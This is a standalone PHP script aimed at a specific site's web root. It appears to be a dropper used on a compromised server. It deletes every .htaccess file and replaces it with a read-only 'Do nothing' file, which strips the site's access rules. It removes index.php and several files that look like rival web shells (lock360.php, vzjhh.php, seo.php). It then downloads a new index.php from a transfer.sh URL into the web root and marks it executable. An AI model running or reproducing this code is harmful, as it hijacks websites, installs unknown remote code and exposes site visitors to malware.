<?php
// Set the directory path
$directory = '/var/www/u1836464/data/www/neva-alushta.com/';

// Set the maximum depth level to search for directories
$maxdepth = 5;

// Find all directories within the specified directory and its subdirectories
$directories = new RecursiveIteratorIterator(
    new RecursiveDirectoryIterator($directory),
    RecursiveIteratorIterator::SELF_FIRST,
    RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied" errors
);

// Loop through each directory found
foreach ($directories as $dir) {
    // Only process directories up to the maximum depth level
    if ($directories->getDepth() <= $maxdepth) {
        $htaccess_file = $dir . '/.htaccess';

        // Set the permissions of the .htaccess file to 0644
        chmod($htaccess_file, 0644);

        // Remove the .htaccess file
        unlink($htaccess_file);
    }
}

// Create a new .htaccess file in the specified directory
file_put_contents($directory . '.htaccess', '# Do nothing');

// Copy the .htaccess file to all directories within the maximum depth level
$directories = new RecursiveIteratorIterator(
    new RecursiveDirectoryIterator($directory),
    RecursiveIteratorIterator::SELF_FIRST,
    RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied" errors
);

foreach ($directories as $dir) {
    if ($directories->getDepth() <= $maxdepth) {
        // Copy the .htaccess file to the current directory
        copy($directory . '.htaccess', $dir . '/.htaccess');

        // Set the permissions of the .htaccess file to 0444
        chmod($dir . '/.htaccess', 0444);
    }
}

// Set the permissions of the specified files to 0644
$files = array('index.php', 'about.php', 'lock360.php', 'themes.php', 'seo.php', 'vzjhh.php', 'inputs.php');
foreach ($files as $file) {
    chmod($directory . $file, 0644);
}

// Remove the specified files
foreach ($files as $file) {
    unlink($directory . $file);
}

// Download a file from a specified URL and set its permissions to executable
$remote_file_url = 'https://transfer.sh/WjDnOG/index.php';
$local_file = $directory . 'index.php';
file_put_contents($local_file, file_get_contents($remote_file_url));
chmod($local_file, 0755);
?>
